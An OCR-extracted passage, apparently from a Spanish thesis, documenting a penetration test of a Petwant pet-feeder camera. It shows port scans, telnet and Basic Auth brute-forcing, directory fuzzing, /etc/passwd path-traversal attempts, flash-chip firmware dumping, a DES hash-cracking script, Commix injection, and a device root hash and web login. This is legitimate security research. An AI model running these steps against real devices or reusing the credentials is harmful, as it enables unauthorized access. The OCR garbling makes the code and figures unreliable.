3658 1739.8342948.. 10.0.0.17 112.124.112.116 TCP 66 50873 —~ 88 [ACK] Seg=1 Ac
I 3659 1739.8371874.. 10 .17 112.124.112.116 499 GET /PW_Server/server.php
3660 1739.9439702.. 47.88.53.182 10.0.0.17 upp 330 166001 - 55729 Len=288
3661 1740.0539734.. 121.41.112.47 10.0.08.17 upp 330 10001 —~ 55729 Len=288
3662 1748.0576461.. 166.14.126.22 16.8.8.17 ubpP 330 18681 — 55729 Len=288
3663 1740.0608300.. 47.90.57.61 10.0.0.17 upbp 330 10601 — 55729 Len=288
3664 1740.2614536.. 112.124.112.116 10.0.0.17 TCP 66 80 —~ 58873 [ACK] Seq=1 Ack=434 Win=30086 Len
3665 1740.3615915.. 112.124.112.116 10.08.0.17 HTTP 401 HTTP/1.1 2608 OK (text/html)

» Frame 3659: 499 bytes on wire (3992 bits), 499 bytes captured (3992 bits) on interface @
» Ethernet II, Src: Shenzhen_d2:9b:5a (@8:ea:48:d2:9b:5a), Dst: d2:af:f1:15:7b:82 (d2:af:T1:15:7b:82)
» Internet Protocol Version 4, Src: 10.0.0.17, Dst: 112.124.112.116
» Transmission Control Protocol, Src Port: 50873, Dst Port: 80, Seq: 1, Ack: 1, Len: 433
»
Host: 112.124.112.116\r\n
Connection: keep-alive\rin
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Geckeo) Chrome/19.0.1084.52 Safari/536.5
Accept: */*\r\n
A R TP-T SPI T
J00  d2 af f1 15 7b 82 88 ea 40 d2 9b 5a 08 00 45 €0 vesefe.. @..2..E.
0 81 e5 60 d2 40 00 40 06 ed 3f Pa 88 @0 11 70 Tc L.e.e. 7. .p)
20 70 74 c6 b9 @0 50 7f e2 61 1b cd 76 8f de 80 18 pt...P.. a..v....

FIGURA 57 - CAPTURA DE WIRESHARK DE UNA PETICION HTTP A SUS SERVIDORES (1)


https://nvd.nist.gov/vuln/detail/CVE-2016-2148
https://nvd.nist.gov/vuln/detail/CVE-2016-2147

1740.

0608300..

47.98.57.61

3663 upp 330 10801 — 55729 Len=288
3664 1740.2614536.. 112.124.112.116 18.8.6.17 TCP 66 80 — 50873 [ACK] Seq=1 Ack=434
.3615915.. 112.124.112.116 401 HTTP/1.1 200 OK (text/html)
3667 1741.0253727.. 10.0.0.17 112.124.112.116 TCP 66 58873 — B0 [ACK] Seq=434 Ack=3|
3668 1741.0260474.. 10.0.0.17 112.124.112.116 TCP 66 50873 ~ 80 [FIN, ACK] Seq=434
3669 1741.3603926.. 112.124.112.116 10.8.6.17 TCP 66 88 — 58873 [FIN, ACK] Seq=336
3670 1741.3624590.. 10.0.0.17 112.124.112.116 TCP 66 50873 —~ 80 [ACK] Seq=435 Ack=3
3671 1741.8871953.. 10.0.0.17 18.0.0.1 DNS 73 standard query 8x0082 A time.n)
3672 1741.8901841.. 10.6.0.1 16.8.0.17 DNS 112 Standard query response Bx8802)
3673 1741.9984335.. 10.0.0.17 128.138.140.44 NTP 98 NTP Version 4, client
3674 1742.3468417.. 10.0.0.17 16.6.6.1 ICMP 98 Echo (ping) request 1id=8x7alg
2RTE A7AT FARNTAC R A0 A B 47 Trumn No Caha fainal eranla A A= T e
Transfer-Encoding: chunked\rin
\rin
[HTTP response 1/1]
[Time since request: ©.524484142 seconds]
[Request in frame: 3659]
» HTTP chunked response
Content-encoded entity body (gzip): 53 bytes -> 36 bytes
File Data: 36 bytes
~ Line-based text data: text/html
{"cmd":1008, "code":20002, "msg":""}
) 68 61 72 73 65 74 3d 75 74 66 2d 38 od Pa 58 2d harset=u tf-8..X-
) 50 6F 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f Powered- By: PHP/
7 35 2e 35 2e 39 2d 31 75 62 75 6e 74 75 34 2e 32 5.5.9-1u buntu4.2
) 30 @d Pa 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 ©..Conte nt-Encod
o D T Y e : : =

FIGURA 58 - CAPTURA DE WIRESHARK DE UNA PETICION HTTP A SUS SERVIDORES (2)

El dispositivo se comunica principalmente con 4 servidores en paralelo, enviando la misma
informacién a esos cuatro servidores.

3688 1746.3492563.. 10.0.0.17 10.0.0.1 ICMP 98 Echo (ping) request id=
3689 1746.3493376.. 16.6.0.1 10.0.0.17 ICMP 98 Echo (ping) reply  id=
3690 1747.3498827.. 10.0.0.17 10.0.0.1 ICMP 98 Echo (ping) request id=
3691 1747.3499636.. 16.6.0.1 10.0.0.17 ICMP 98 Echo (ping) reply  id=

L 3692 1747.9979727.. 10.0.0.17 128.138.140.44 NTP 90 NTP Version 4, client
3693 1748.3504739.. 10.0.0.17 10.0.0.1 ICMP 98 Echo (ping) request id=
3694 1748.3505593.. 10.0.0.1 10.0.0.17 ICMP 98 Echo (ping) reply  id=
3695 1749.3517589.. 10.0.08.17 10.8.8.1 ICMP 98 Echo (ping) request id=
3696 1749.3518440.. 10.0.0.1 10.0.0.17 ICMP 98 Echo (ping) reply  id=
3697 1750.8172427.. 10.0.0.17 47.908.57.61 uppP 330 55729 — 1P661 Len=288
3698 1750.0176648.. 10.0.0.17 121.41.112.47 UDP 330 55729 — 10001 Len=288
3699 1750.0180984.. 10.0.0.17 106.14.126.22 upopP 330 55729 — 10001 Len=288
3700 1750.0193132.. 10.0.0.17 47.88.53.102 UDP 330 55729 — 10001 Len=288
3701 1750.1796021.. 47.88.53.102 10.0.0.17 uDP 330 10001 — 55729 Len=288
3702 1750.2866397.. 121.41.112.47 10.0.0.17 UDP 330 10001 — 55729 Len=288
3703 1750.2920767.. 106.14.126,22 10.0.0.17 UDP 330 10001 — 55729 Len=288
3704 1750.2953648.. 47.908.57.61 10.0.0.17 uDP 330 10001 — 5572 en=288
3705 1755.3451798.. 10.0.0.17 10.0.0.1 ICMP 98 Echo (ping) uest id=
3706 1755.3453436.. 10.6.0.1 10.0.0.17 ICMP 98 Echo (ping) reply  id=
2TOAT ATERE FASAORD A0 A 06 47 a0 0 0 4 TrMn No Cabha fainal ramaaes * 3=

4

FIGURA 59 - CAPTURA DE WIRESHARK DE LA COMUNICACION UDP CON SUS SERVIDORES

00 ©8 ea 40 d2 9b 5a d2 af f1 15 7b 82 08 00 45 00 ..0..2.. ..{...E

2010 ©0 c8 32 09 40 00 2a 11 60 5d 78 18 3b 96 0a 00 R 4 [l p e

020 00 11 28 00 d9 bl 00 b4 2c f1 4e 26 9d 4c 44 do vo(aneiteya NEVLDS
0360 40 ca 3d 2d 28 2d 80 e5 ca do 5b 2b d9 cO Oc a4 @.=-(-.. ..[+....
040 15 9e 19 e7 6b 6f 55 ac af bd 6e 2e 8d 8c 40 do cas KO o M d@
9560 40 ca 3e 6d 3b 1f 40 a4 cb d8 6e 2e 8d 8c 40 do @.>m;.@8. ..n...@.

9 40 ca 2d 6d 28 Oc 40 e4 ca d8 6e 2e 8d 8c 40 do @.-m(.@8. ..n...0.
40 ca 2d 6d 28 Oc 40 e4 ca d8 24 8e 87 8c 41 41 @.-m(.@. ..$...AA
6b d6 8d 6c 28 O¢c 7a e5 60 7a 6e 2e 8d 8c 41 ao kKid(.2. “ZnioiA.

G960 60 d8 25 2d 6a 67 40 50 cb d8 6e 2e 8d 8c 41 a0 %-jg@P ..n...A.
0ot 60 d8 2d cd ce eb 40 f2 ca d8 6e 2e 8d 8c 41 a0 sz i@er o s Mhurese o
obo 660 d8 38 8d 6a 8f 40 82 cb d8 6e 2e 8d 8c 41 a0 “.8.j.8. ..n...A.
jc 60 d8 38 8d aa bf 40 d8 cb d8 3a 41 11 5d 6¢c 69 ".8...0. ..:A.]1i
Jdb 65 20 69 73 20 74 e is t

FIGURA 60 - CAPTURA DE WIRESHARK DEL CONTENIDO QUE ENVIA Y RECIBE DE SUS SERVIDORES



Se puede apreciar que el contenido de los paquetes UDP que envia a sus servidores no es legible,
pero no tiene practicamente nada de entropia, por lo que es muy probable que el contenido
esté sin cifrar o que use un cifrado simple de tipo XOR.

Como curiosidad, se puede ver como también el equipo no para de hacer ping al punto de
acceso.

En un intento de obtener algo en claro de los paquetes UDP, se ha realizado la operacién XOR
sobre cada byte del paquete, probando como clave las 255 posibilidades que existen en un byte.
Para facilitar esta tarea, se ha desarrollado un script en Python que realiza esta operacion sobre
bloques de contenido hexadecimal.

Para tratar contenido hexadecimal, la libreria binascii de Python es muy util.

binascii unhexlify
X

b

guardar
quardar.wr
guardar.

guardar of
guardar.wri
guardar.

SCRIPT 3 - CODIGO PARA REALIZAR XOR SOBRE LOS PAQUETES

Después de obtener los resultados con las distintas combinaciones de clave, no se ha logrado
obtener nada en claro.

4.4. Escaneo de servicios

Antes de configurar las credenciales del Wi-Fi al que se tiene que conectar, el dispositivo monta
un punto de acceso para comunicarse con la aplicacién del mavil.

Escaneo de servicios:

Lo primero que se ha hecho, con la herramienta Nmap, es realizar un escaneo de todos los
puertos, tanto TCP como UDP, y estos son los resultados:



nmap —sT —p--T5 192.168.0.1
nmap —sU —p--T5 192.168.0.1

= -sT: Escaneo de tipo TCP (connect)

= -sU: Escaneo de tipo UDP

= -p-: Seleccion de todos los puertos (1-65535)
= -T5: Escaneo agresivo (rapido)

FIGURA 61 - ESCANEO DE PUERTOS TCP cON NMAP

FIGURA 62 - ESCANEO DE PUERTOS ESPECIFICOS CON MAS DETALLE

Como se puede ver, tiene equipo dispone de varios servicios activos:

= Servidor Telnet en el puerto 23, perteneciente a Busysbox.

= Servidor HTTP en el puerto 81 (aparentemente un servidor HTTP al que le han cambiado
el puerto)

= Servidor RTSP en el puerto 8554, (por lo general suele estar en el 554), el protocolo RTSP
se usa para realizar streaming de video y audio

Servidor Telnet:

Lo primero de todo es comprobar el login promp, por si acaso no tiene contrasefia, pero
enseguida se comprueba que no es asi.


https://busybox.net/about.html
https://es.wikipedia.org/wiki/Protocolo_de_transmisi%C3%B3n_en_tiempo_real

Se va a usar la herramienta Hydra (también Medusa es valida) para hacer fuerza bruta al login
junto con dos listas:

= Lista que se usaba en la botnet de Mirai
= Lista de tipicos credenciales usados en telnet

Hydra es un cracker que trabaja con conexiones en paralelo y que soporta numerosos protocolos
de ataque. Es muy rapido y flexible, y los nuevos mdédulos son faciles de afadir. Esta herramienta
permite a los pentesters y consultores de seguridad mostrar lo facil que seria obtener acceso no
autorizado a un sistema de forma remota.

Para lanzar esta herramienta se ha usado el siguiente comando:

hydra —C lista.txt —v 10.0.0.12 telnet

= -C: Especifica la lista de usuarios y contrasefias (separados por dos puntos “:”)
= -v: Modo verbose
= telnet: Especifica el servicio al que hacerle fuerza bruta

FIGURA 63 - HYDRA BRUTEFORCING AL SERVICIO TELNET

Después de haber hecho fuerza bruta con las dos listas mencionadas anteriormente ninguno de
los usuarios y contrasefias han resultado ser validos.

Servidor HTTP:

Se comprueba que abriendo el navegador y accediendo a la direccién del equipo en el puerto
81, hay un servidor web protegido con un login de tipo BasicAuthentication (un autenticacidn
nada recomendada, ya que las credenciales van encodeadas en base64 en la cabecera de la
peticion HTTP).



https://es.wikipedia.org/wiki/Autenticaci%C3%B3n_de_acceso_b%C3%A1sica
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Authentication Required [}

A username and password are being requested by http://192.168.0.1:81. The site says: "."

User Name:

Password:

Cancel | Oh

) \ = = L )

[Raw] Headers ] Hex ]

GET / HTTP/1.1

Host: 192.168.0.1:81

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8
Accept-Language: en-US,en;q=0.5

Connection: close

Authorization: Basic YWRtaWd46YWRtaWd=

FIGURA 64 - AUTENTICACION BASICA HTTP

Para poder ver posibles archivos, paginas o directorios del servidor web se va a realizar
bruteforcing de directorios y ficheros con Dirbuster y/o Wfuz. Para ello se ha utilizado uno de
los diccionarios mas grande de dirbuster, que se encuentra en la siguiente ruta:

Jusr/share/dirbusster/wordlists/directory-list-2.3-medium.txt

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing
File Options About Help

http://192.168.0.1:81/

@ Scan Information * Results - List View: Dirs: 3 Files: 3 | Results - Tree View | /i Errors: 510

Type Found Response
Dir i/ 401 526
Dir fimages/ 401 538
Dir Jegi-bin/ 401 540
File fimages 302 446
Dir fenglish/ 401 540
File fenglish 302 448

N

Current speed: 0 requests/sec (Select and right click for more options)
Average speed: (T) 16, (C) 22 requests/sac

Parse Queue Size: 2431 Current number of running threads: 10
Total Requests: 3476/1764907 | | Change
] J

Time To Finish: 22:14:25
Go | O s

Program paused! Jegi-bin/16/

FIGURA 65 - OWASP DIRBUSTER BRUTEFORCING

También se puede hacer con Wfuzz lanzando el siguiente comando:



wfuzz —-c -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -hc 404 -R 3
http://192.168.0.1:81/FUZZ

= -c: Opcién para que imprima la salida con colores

= -w: Opcidn para especificar el diccionario que se va a usar

= --hc: Opcidn para que las respuestas 404 del servidor no las imprima por pantalla
= -R:Se especifica el nivel de recursividad/profundidad

FIGURA 66 - WFUZzz FUZZING A DIRECTORIOS Y ARCHIVOS

Como se puede ver se han descubierto una serie de recursos en el servidor web:

= Directorios: Images, cgi-bin, english, Download
= Ficheros: js, record, english, images

Todos los directorios y ficheros que se han descubierto son inaccesibles (Respuesta 401 del
servidor) ya que en todas las paginas pide que se realice la autenticacion basica en caso de que
no se haya realizado antes.

Lo préximo que se va probar es que el sistema muestre algun archivo interno del sistema de
ficheros (Local File Inclusion), para ello se va a crear una lista con muchas combinaciones de
rutas para que muestre el archivo “/etc/passwd”.

Para crear esa lista, dotdotpwn es de gran ayuda. Para ello hay que ejecutar el siguiente
comando:

dotdotpwn —m stdout —o “unix” —f etc/passwd > lista_de_rutas.txt



-m: Con “stdout” se especifica que los resultados de la ejecucidén solo los imprima por
pantalla

-0: Especifica el sistema operativo del objetivo (en este caso “Unix”)

-f: Se especifica el nombre del archivo en base al que se quiere crear la lista

Lo siguiente a hacer con esa lista es pasarla al fuzzer de OWASP ZAP, para que haga peticiones
al servidor web con la lista como payload.

«

I Offensive Security “& Kali Linux @ Kali Docs @ Kali Tools KMExploit-DB Wy Aircrack-ng @ Kali Forums @ NetHunter [EfMost Visitedy — »

@ 10.0.0.12:81 e ||Q search | &% & 3+ & =

Eile Edit View Analyse Report Jools Online Help
(Standard Wode 1v) | D MW - & O 2@ 090 00

@Las

(5 Contexts
(& Default Context
v @ Sites

FIGURA 67 - ERROR 401. ACCESO NO AUTORIZADO

<HTML=

<HEAD=<TITLE>484 Not Found</TITLE=</HEAD>

<BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#20207T" VLINK="24040cCC">
<H2>404 Not Found</H2>

The requested URL '/..f../root/passwd’ was not found on this server.
<HR>

<ADDRESS><A HREF=" "= =/A></ADDRESS>

=/ BODY=>

</HTML=

FIGURA 68 - INTENTO DE LOCAL FILE INCLUSION

Una vez ha acabado de realizar las peticiones con todas las combinaciones de la lista, se ve que
todas las respuestas del servidor han sido del mismo tamafio por lo que no se ha logrado
explotar ese tipo de vulnerabilidad de esa forma.

El siguiente paso es probar a hacer fuerza bruta a la autenticacion basica por HTTP, para ello se
ha usado Burp y una lista de usuarios y contrasefias de las que hay publicas por internet.

Con las
modulo

peticiones que se han hecho anteriormente, se selecciona una de ellas y se manda al
Intruder del Burp. Se selecciona el valor del pardmetro de la cabecera HTTP



“BasicAuthentication” y como payload se pasa la lista con usuarios y contrasefas (separadas por

“w,n

los dos puntos “:”) y marca la opcidn para que lo procese en Base64.

You can define rules to perform various processing tasks on each payload before it is used.

| Add _ Enabled Rule |
- W Basef4-encode

| Edit

|Fterr1m.te

v |

| Down

FIGURA 69 - PROCESAMIENTO DEL PAYLOAD CON BURP SUITE

Después de procesar toda la lista de usuarios y contrasefias, no se ha encontrado ningun usuario
y contrasena que sea valido.

Servidor RTSP:

Lo primero que se ha intentado es con un reproductor de video que soporte este formato
(mplayer), introducir una posible URL en la que se podria acceder al streaming de video:

rtsp:;//10.0.0.12:8554

Con esta URL no se ha podido acceder al recurso, es posible que pueda tener autenticacién o
que la URL esté incompleta.

Existe un script de Nmap que sirve para realizar fuerza bruta a posibles URLs de servicio RTSP
(que en este caso no ha funcionado, es posible que el script tenga algun bug).

Todos los servicios que se han visto en este punto, son los mismos que cuando el equipo esta
complemente en estado operacional.

4.5. Extraccion del firmware

Buscando por la pagina web oficial y mas sitios “no oficiales”, para este caso, el Unico método
de obtener una copia del firmware es extraerlo de la memoria flash que tenga en el circuito.


https://nmap.org/nsedoc/scripts/rtsp-url-brute.html
https://fccid.io/2AJGV-PF-103

FIGURA 70 - CIRCUITO INTERNO DEL DISPENSADOR DE COMIDA

La memoria flash se encuentra justo debajo del microprocesador, como en una especie de placa
separada del circuito, que va unida por dos filas de pines.

= s s o A
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FIGURA 72 - MEMORIA FLASH DEL CIRCUITO



También se puede apreciar como al lado del microprocesador hay un puerto serie, con los pines
ya identificados:

FIGURA 73 - PUERTO SERIE DEL CIRCUITO

45.1. Memoria Flash SPI

El modelo de memoria flash que lleva incorporado el circuito es “Macronix MX25L6406E" .

Para leer el contenido del chip es necesario un software como flashrom (que ya tiene bastantes
afios) o spiflash (una utilidad de la libreria libmpsse), una fuente de alimentacion que pueda
proporcionar 3.3V y una herramienta que sea capaz leer las sefiales del chip, como Shikra:

FIGURA 74 - PLACA THE SHIKRA

Con la hoja de caracteristicas de la memoria flash y la placa Shikra se hace el conexionado de los
pines (como fuente de alimentacidn de 3.3V se ha usado la Raspberry):

Datos de la estructura de pines de la memoria flash Macronix MX25L6406E:


http://www.xipiter.com/musings/using-the-shikra-to-attack-embedded-systems-getting-started
http://html.alldatasheet.es/html-pdf/575485/MCNIX/MX25L6406E/1107/7/MX25L6406E.html

CS# [ 1. 8 [J vee
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FIGURA 75 - PINADO DE LA MEMORIA FLASH MACRONIX

Datos de la estructura de pines de la placa Shikra:

FRONT
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FIGURA 76 - PINADO DE LA PLACA THE SHIKRA

Ala hora de realizar las conexiones entre la memoria y Shikra, hay dos pines de la memoria flash
gue en teoria no se van a usar y se van a quedar “al aire”, esos son WP# y HOLD#. Es muy
importante que estos pines estén conectados también a VCC, porque si no a la hora de intentar
leer la memoria no se va a dejar. No es muy raro que a veces esos pines estén conectados
internamente por el circuito al pin de VCC, por lo que en esos casos no seria necesario darles
alimentacién también ya que la tomarian directamente del pin VCC (este no es el caso).



FIGURA 78 - CONEXIONES ENTRE LA MEMORIA FLASH Y THE SHIKRA

Con todas las conexiones ya realizadas entre la placa Shikra conectada al ordenador y la
memoria flash, se han utilizado los siguientes comandos para leer el contenido del chip:

flashrom —p ft2232_spi:type=232H,port=A —r spidump.bin

= -pft2232_spi:type=232H: Se especifica el tipo de chip que usa la placa Shikra
= -r:Se especifica que se quiere leer el contenido de la memoria y guardarlo en un archivo
(spidump.bin)



3L 0-F1955 |

FIGURA 79 - LECTURA DE LA MEMORIA FLASH CON FLASHROM (1)

flashrom —p ft2232_spiitype=232H,port=A -c MX25L6406E/MX25L6408E —r spidump.bin

= -c: Especifica el modelo de memoria con la que se va a tratar

- spidump.bin

SPI) on ft2:

FIGURA 80 - LECTURA DE LA MEMORIA FLASH CON FLASHROM (2)

Este proceso tarda unos pocos minutos (2-3 minutos), y una vez finalizado se tendria el firmware
extraido de la memoria flash. Ademads, se han soldado tres cables al puerto serie para analizarlo
posteriormente.

45.2. Puerto Serie

Con los cables que se han soldado al puerto serie conectados a la placa Shikra y algin software
para interactuar con puertos serie como es minicom o screen (configurado a 115200 baud/s),
se enciende el equipo para ver qué informacion puede dar por ese interfaz.

Para establecer la velocidad del puerto, hay que abrir el menu de configuracién de minicom:
minicom —s

Una vez establecida la velocidad, hay ejecutar el siguiente comando:
minicom -D /dev/ttyUSBO

= -D: Especifica el interfaz fisico del ordenador en el que se encuentra el puerto serie



FIGURA 81 - DATOS RECOGIDOS POR EL PUERTO SERIE

Reiniciando el dispositivo, se puede ver como imprime informacién del arranque del sistema,
como la descompresién de los archivos, inicio de servicios y montado de sistema de ficheros.
Pero al final se queda en un login (igual que el de telnet) en el cual no se tienen credenciales.

4.6. Analisis del firmware

Una vez que se tiene el firmware del dispositivo, ya se puede pasar a analizarlo con el objetivo
de obtener todos los datos posibles de su funcionamiento y del software que lleva integrado, de
forma que a la hora de enfrentarse al equipo desde fuera, sea mas “sencillo”.

4.6.1. Recoleccion de Informacidn

Para analizar el firmware se ha hecho uso de la herramienta Binwalk, que permite ver en detalle
las distintas secciones del archivo, como datos comprimidos, ejecutables y otro tipo de archivos
gue se encuentren dentro de ese binario.

Binwalk es una herramienta de analisis de firmwares escrita por Craig Heffner, que permite el
analisis, extraccion y reversing. Las caracteristicas principales de Binwalk son:

= |dentificacion y extraccién de archivos
= |dentificacion de cédigo

= Andlisis de entropia

=  Andlisis heuristico de datos

=  Andlisis de strings


https://github.com/devttys0/binwalk

La caracteristica base es la identificacidon de archivos dentro de una imagen, mostrando el
offset en el que se encuentra, tamafio y tipo de archivo.

Para lanzar este software se ha ejecutado el siguiente comando:

binwalk spidump.bin

FIGURA 82 - ANALISIS DEL FIRMWARE CON BINWALK

En la imagen se puede apreciar las distintas partes del firmware:

ulmage header: Es el kernel que usa el sistema. Se ve que la arquitectura que tiene es
ARM.

Sistemas de ficheros SquashFS

Sistemas de ficheros JFFS2

Datos comprimidos en Zlib

Para extraer los datos de la imagen del firmware hay dos formas, automatica (a veces no es
perfecta y conviene hacerlo manualmente) y manual.

Para hacerlo manual hay que usar el comando dd y ajustar los offsets del archivo para guardar

solo la parte que interese.

dd if=spidump.bin skip=2359296 bs=1 count=$((6291456-2359296)) of=squash

if: Archivo desde el que se va a copiar

skip: Offset de memoria desde el que va a empezar a copiar (en decimal)
bs: Tamanio de los bloques que se van a copiar (1 byte)

count: Numero de bloques que se van a copiar



= of: Archivo destino en el que se va a copiar el contenido especificado

FIGURA 83 - EXTRACCION MANUAL DEL SISTEMA DE FICHEROS SQUASHFS

Para que intente descomprimir automaticamente los comprimidos dentro del firmware hay que
lanzar binwalk con los siguientes flags activados:

binwalk —Me spidump.bin
= -e: Opcidn para extraer los archivos que encuentre en el firmware
= -M: Opcidn para realizar la tarea anterior de forma recursiva

Ya con todos los ficheros y datos extraidos, se procede a buscar datos interesantes en el
firmware.

Lo primero que se ha hecho es buscar certificados y bases de datos. Para ello, el comando find
facilita la tarea:

find / -name “*.pem”
find / -name “*.der”
find / -name “*.crt”
find / -name “*.db”
= -name: Opcidn para buscar archivos por nombre (en este caso los que acaben con esas
extensiones)

Tras haber ejecutado estas busquedas no se ha obtenido ningun resultado.

Navegando y buscando por los archivos del sistema de ficheros extraido (SquashFS), se han
obtenido cosas como:

Datos de los AP:

Datos guardados de las redes Wi-Fi que se encontraban disponibles en el entorno del dispositivo:



FIGURA 84 - REDES INALAMBRICAS DISPONIBLES EN EL ENTORNO

Contrasenas Wi-Fi en claro:

Contrasefas de los puntos de acceso a los que se ha conectado en texto plano. Como se puede
ver en la imagen, se ha conectado a la red inaldmbrica “WifiFake” con una contrasefia de tipo
WPA cuyo valor es “12345678".

FIGURA 85 - CONTRASENA DEL WI-FI GUARDADA EN CLARO



Autenticacion RTSP deshabilitada:

Con la autenticacidn deshabilitada por defecto se podria ver el streaming de video con tan solo
conocer la URL.

FIGURA 86 - AUTENTICACION RTSP DESHABILITADA

Usuarios y contraseias:

Credenciales de algun servicio del sistema.

FIGURA 87 - USUARIOS Y CONTRASENAS ENCONTRADOS POR EL FIRMWARE

Paginas del servidor web HTTP:

Con todos los archivos del servidor web que se ven ya se tiene una visidn de la estructura de la
web, y los binarios que tratan las peticiones generadas por los javascript. Posteriormente habra

que analizar detenidamente esos binarios.

= upgrade_firmware.cgi
= upgrade_htmls.cgi



FIGURA 88 - ARCHIVOS Y DIRECTORIOS DEL SERVIDOR WEB

FIGURA 89 - BINARIOS DEL SERVIDOR WEB

Credenciales del sistema:

Lo mas probable es que el usuario y contrasefia del login de Telnet sea root :FCb/N 1tGGXtP6,
gue son los datos de acceso a la cuenta de root del sistema obtenidos del archivo “/etc/shadow”
del sistema de ficheros.

El hash de la contrasefia esta en DES crypt (el algoritmo tradicionalmente usado en UNIX). A dia
de hoy estd considerado como inseguro y no se recomienda su utilizacion. Este algoritmo solo
utiliza los 7 primeros caracteres de la contrasena y 2 caracteres adicionales (sal).

FIGURA 90 - CREDENCIALES DEL SISTEMA



Modelo de la camara:

El dispositivo hardware que usa el dispositivo para procesar tanto el contenido de video como
de audio es GM8136.
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FIGURA 91- Soc GM 8136 PARA LA CAMARA

4.6.2. Ataque

Con toda la informacién que se ha recogido del firmware, ahora toca volver atrds, a los servicios
que se habian analizado anteriormente.

Servidor Telnet:

Con el usuario y hash obtenidos de los archivo “/etc/passwd” y “/etc/shadow” se va a intentar
crackear el hash mediante fuerza bruta y wordlists en paralelo.

Para intentar encontrar la contrasefia mediante wordlists, se ha creado un script en pythony se
ha usado la lista de 15Gb de Crackstation.

Este script lo que hace principalmente es coger cada password de la lista que se le pase como

argumento, realizar un hash con la funcidn crypt de Unix (con una sal de valor “FC”) y compararlo
con el hash que se esta buscando.

python DEScrack.py wordlist.txt


http://www.grain-media.com/html/8136S_8135S.htm
https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm

crypt
SYySs

time

match "FC
counter
flag = T
count {

def has
crypt.crypt(x, "FC")

match:

("\n[+] P

open(sys.argv[1])

start_time - time.time()
i f:
i = i.strip(™\n™)
counter= counter+l1
(counter il
flag:
oat(counter) /(time.time() -start_time)) /1
flag
str(counter/! "M

count count+1
count 1888

str(count)

“Finished {} passwords".format(counter)

SCRIPT 4 - DES CRACKER BRUTEFORCER BASADO EN WORDLISTS

Una vez el script ha finalizado, ninguna de las palabras de la lista coincide con la que se busca.

Para realizar bruta se ha usado John The Ripper, funcionando a una velocidad aproximada de
30 millones de contrasefias por segundo (depende del hardware del ordenador).

John the Ripper es un programa de criptografia que aplica fuerza bruta para
descifrar contrasefas. Es capaz de romper varios algoritmos de cifrado o hash, como DES, SHA-
1y otros.

Es una herramienta de seguridad muy popular, ya que permite a los administradores de
sistemas comprobar que las contrasefias de los usuarios son suficientemente buenas.

John the Ripper es capaz de autodetectar el tipo de cifrado de entre muchos disponibles, y se
puede personalizar su algoritmo de prueba de contrasefias. Eso ha hecho que sea uno de los
mas usados en este campo.


https://github.com/magnumripper/JohnTheRipper
https://es.wikipedia.org/wiki/Software
https://es.wikipedia.org/wiki/Criptograf%C3%ADa
https://es.wikipedia.org/wiki/B%C3%BAsqueda_de_fuerza_bruta
https://es.wikipedia.org/wiki/Contrase%C3%B1a
https://es.wikipedia.org/wiki/Algoritmo
https://es.wikipedia.org/wiki/Criptograf%C3%ADa
https://es.wikipedia.org/wiki/Hash
https://es.wikipedia.org/wiki/Data_Encryption_Standard
https://es.wikipedia.org/wiki/Secure_Hash_Algorithm
https://es.wikipedia.org/wiki/Secure_Hash_Algorithm
https://es.wikipedia.org/wiki/Seguridad_inform%C3%A1tica
https://es.wikipedia.org/wiki/Administrador_de_sistema
https://es.wikipedia.org/wiki/Administrador_de_sistema
https://es.wikipedia.org/wiki/Contrase%C3%B1a

john hash.txt

Servidor Web:

FIGURA 92 - JOHN THE RIPPER

Con todos los usuarios y contraseinas que se encontraron en el analisis del firmware hay uno con
el que se ha conseguido acceder a la web:

= operate:p8ebtls3

192.168.0.1

e Security " Kali Linux @ Kali Docs @ Kali Tools EBExploit-DB Wy Aircrack-ng @ Kali Forums @ NetHunter B Most Visited v [lOffensive Security “e Kali Linux “& Kall Docs Y

IP Camera

(@— website Mode(For Browser, we Recommend the use of IE Browser)
& Sign in

No Plug-In Mode(For Smartphnoe Browser--JPEG)
Sign in
Language: | English 3

v

do not show next time

IPCAM

FIGURA 93 - PAGINA PRINCIPAL DE LA WEB
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FIGURA 94 - PANEL DE ADMINISTRACION “OCULTO” DE LA CAMARA

El interfaz web para la configuracion de la cdmara no es del fabricante PETWANT, es del
fabricante de la cdmara, solo que Petwant ha dejado el interfaz web tal cual, pero le ha quitado
la mayoria de los binarios que procesaban muchas de las opciones que estdn en el interfaz web.
Al final solo han dejado dos binarios:

= upgrade_firmware.cgi
= upgrade_htmls.cgi

Por lo que esos son el Unico path de ataque hacia el sistema. A continuacion se ven los binarios
gue dispone el sistema desde el navegador dentro de la carpeta “cgi-bin”:

€ | (0 192.168.2.143 -bl

Il Offensive Security N Kali Linux @ Kali Docs @ Kali Tools [ERExplo

Index of /cgi-bin/

mode links bytes last-changed name

drwx 2 80 Sep 208 208:01 ./
dr-x 11 1804 Apr 21 2015 ./

arex 1 4419 Sep 20 20:01 uparade firmware.cgi*
rex 1 4323 Sep 20 28:01 wupgrade htmls.cql

FIGURA 95 - LISTA DE BINARIOS CGI DEL SERVIDOR

Se ha usado la herramienta Commix para automatizar los intentos de command injection en el
interfaz web.

Commix es un acronimo de COMMand Injection eXploiter que va a permitir analizar
rapidamente una pagina web para comprobar si es segura o tiene alguna vulnerabilidad vy, de
ser asi, comprobar si es posible explotar dicha vulnerabilidad. Esta herramienta se centra


https://github.com/commixproject/commix

principalmente en las vulnerabilidades de inyeccidn de comandos a través de ciertos parametros
y cadenas vulnerables que puedan residir en un servidor web.

Jcommix.py —u http://192.168.0.1:81/admin.htm —auth-type=basic —auth-
cred=operate:p8eb6t1s3 —tmp-path=/tmp —ps-version —level=3

v2.1-dev#29

Automated All-in-One 0S Command Injection and Exploitation Tool

FIGURA 96 - COMMIX PARA AUTOMATIZAR COMMAND INJECTION

Una vez la herramienta ha acabado, no se ha obtenido ningun resultado.

Analizando el trafico mientras se probaban inyecciones manuales de comandos con el Burp, se
descubrid un leak de credenciales de acceso a la web, como por ejemplo la contraseiia del
administrador (analizando los ficheros del firmware no estaba).

